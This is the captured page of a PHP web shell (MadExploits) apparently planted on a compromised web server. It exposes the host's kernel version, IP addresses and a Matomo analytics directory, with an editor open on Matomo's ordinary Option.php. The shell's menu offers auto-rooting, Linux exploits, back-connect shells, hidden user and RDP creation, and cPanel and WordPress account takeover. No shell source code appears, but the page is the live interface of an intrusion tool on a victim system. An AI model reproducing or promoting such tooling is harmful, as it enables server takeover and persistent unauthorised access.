Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.191.174.125
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Option.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Piwik\Container\StaticContainer; /** * Convenient key-value storage for user specified options and temporary * data that needs to be persisted beyond one request. * * ### Examples * * **Setting and getting options** * * $optionValue = Option::get('MyPlugin.MyOptionName'); * if ($optionValue === false) { * // if not set, set it * Option::set('MyPlugin.MyOptionName', 'my option value'); * } * * **Storing user specific options** * * $userName = // ... * Option::set('MyPlugin.MyOptionName.' . $userName, 'my option value'); * * **Clearing user specific options** * * Option::deleteLike('MyPlugin.MyOptionName.%'); * * @api */ class Option { /** * Returns the option value for the requested option `$name`. * * @param string $name The option name. * @return string|false The value or `false`, if not found. */ public static function get($name) { return self::getInstance()->getValue($name); } /** * Returns option values for options whose names are like a given pattern. Only `%` is supported as part of the * pattern. * * @param string $namePattern The pattern used in the SQL `LIKE` expression * used to SELECT options.`'%'` characters should be used as wildcard. Underscore match is not supported. * @return array Array mapping option names with option values. */ public static function getLike($namePattern) { return self::getInstance()->getNameLike($namePattern); } /** * Sets an option value by name. * * @param string $name The option name. * @param string $value The value to set the option to. * @param int $autoLoad If set to 1, this option value will be automatically loaded when Piwik is initialized; * should be set to 1 for options that will be used in every Piwik request. */ public static function set($name, $value, $autoload = 0) { self::getInstance()->setValue($name, $value, $autoload); } /** * Deletes an option. * * @param string $name Option name to match exactly. * @param string $value If supplied the option will be deleted only if its value matches this value. */ public static function delete($name, $value = null) { self::getInstance()->deleteValue($name, $value); } /** * Deletes all options that match the supplied pattern. Only `%` is supported as part of the * pattern. * * @param string $namePattern Pattern of key to match. `'%'` characters should be used as wildcard. Underscore match is not supported. * @param string $value If supplied, options will be deleted only if their value matches this value. */ public static function deleteLike($namePattern, $value = null) { self::getInstance()->deleteNameLike($namePattern, $value); } public static function clearCachedOption($name) { self::getInstance()->clearCachedOptionByName($name); } /** * Clears the option value cache and forces a reload from the Database. * Used in unit tests to reset the state of the object between tests. * * @return void * @ignore */ public static function clearCache() { $option = self::getInstance(); $option->loaded = false; $option->all = array(); } /** * @var array */ private $all = array(); /** * @var bool */ private $loaded = false; /** * Singleton instance * @var \Piwik\Option */ private static $instance = null; /** * Returns Singleton instance * * @return \Piwik\Option */ private static function getInstance() { if (self::$instance == null) { self::$instance = new self; } return self::$instance; } /** * Sets the singleton instance. For testing purposes. * * @param mixed * @ignore */ public static function setSingletonInstance($instance) { self::$instance = $instance; } /** * Private Constructor */ private function __construct() { } protected function clearCachedOptionByName($name) { $name = $this->trimOptionNameIfNeeded($name); if (isset($this->all[$name])) { unset($this->all[$name]); } } protected function getValue($name) { $name = $this->trimOptionNameIfNeeded($name); $this->autoload(); if (isset($this->all[$name])) { return $this->all[$name]; } $value = Db::fetchOne('SELECT option_value FROM `' . Common::prefixTable('option') . '` ' . 'WHERE option_name = ?', [$name]); $this->all[$name] = $value; return $value; } protected function setValue($name, $value, $autoLoad = 0) { $autoLoad = (int)$autoLoad; $name = $this->trimOptionNameIfNeeded($name); $sql = 'UPDATE `' . Common::prefixTable('option') . '` SET option_value = ?, autoload = ? WHERE option_name = ?'; $bind = array($value, $autoLoad, $name); $result = Db::query($sql, $bind); $rowsUpdated = Db::get()->rowCount($result); if (! $rowsUpdated) { try { $sql = 'INSERT IGNORE INTO `' . Common::prefixTable('option') . '` (option_name, option_value, autoload) ' . 'VALUES (?, ?, ?) '; $bind = array($name, $value, $autoLoad); Db::query($sql, $bind); } catch (\Exception $e) { } } $this->all[$name] = $value; } protected function deleteValue($name, $value) { $name = $this->trimOptionNameIfNeeded($name); $sql = 'DELETE FROM `' . Common::prefixTable('option') . '` WHERE option_name = ?'; $bind[] = $name; if (isset($value)) { $sql .= ' AND option_value = ?'; $bind[] = $value; } Db::query($sql, $bind); $this->clearCache(); } protected function deleteNameLike($name, $value = null) { $name = $this->trimOptionNameIfNeeded($name); $name = $this->getNameForLike($name); $sql = 'DELETE FROM `' . Common::prefixTable('option') . '` WHERE option_name LIKE ?'; $bind[] = $name; if (isset($value)) { $sql .= ' AND option_value = ?'; $bind[] = $value; } Db::query($sql, $bind); $this->clearCache(); } private function getNameForLike($name) { $name = str_replace('\_', '###NOREPLACE###', $name); $name = str_replace('_', '\_', $name); $name = str_replace( '###NOREPLACE###', '\_', $name); return $name; } protected function getNameLike($name) { $name = $this->trimOptionNameIfNeeded($name); $name = $this->getNameForLike($name); $sql = 'SELECT option_name, option_value FROM `' . Common::prefixTable('option') . '` WHERE option_name LIKE ?'; $bind = array($name); $rows = Db::fetchAll($sql, $bind); $result = array(); foreach ($rows as $row) { $result[$row['option_name']] = $row['option_value']; } return $result; } /** * Initialize cache with autoload settings. * * @return void */ protected function autoload() { if ($this->loaded) { return; } $table = Common::prefixTable('option'); $sql = 'SELECT option_value, option_name FROM `' . $table . '` WHERE autoload = 1'; $all = Db::fetchAll($sql); foreach ($all as $option) { $this->all[$option['option_name']] = $option['option_value']; } $this->loaded = true; } private function trimOptionNameIfNeeded($name) { if (strlen($name) > 191) { StaticContainer::get('Psr\Log\LoggerInterface')->debug("Option name '$name' is too long and was trimmed to 191 chars"); $name = substr($name, 0, 191); } return $name; } }
Close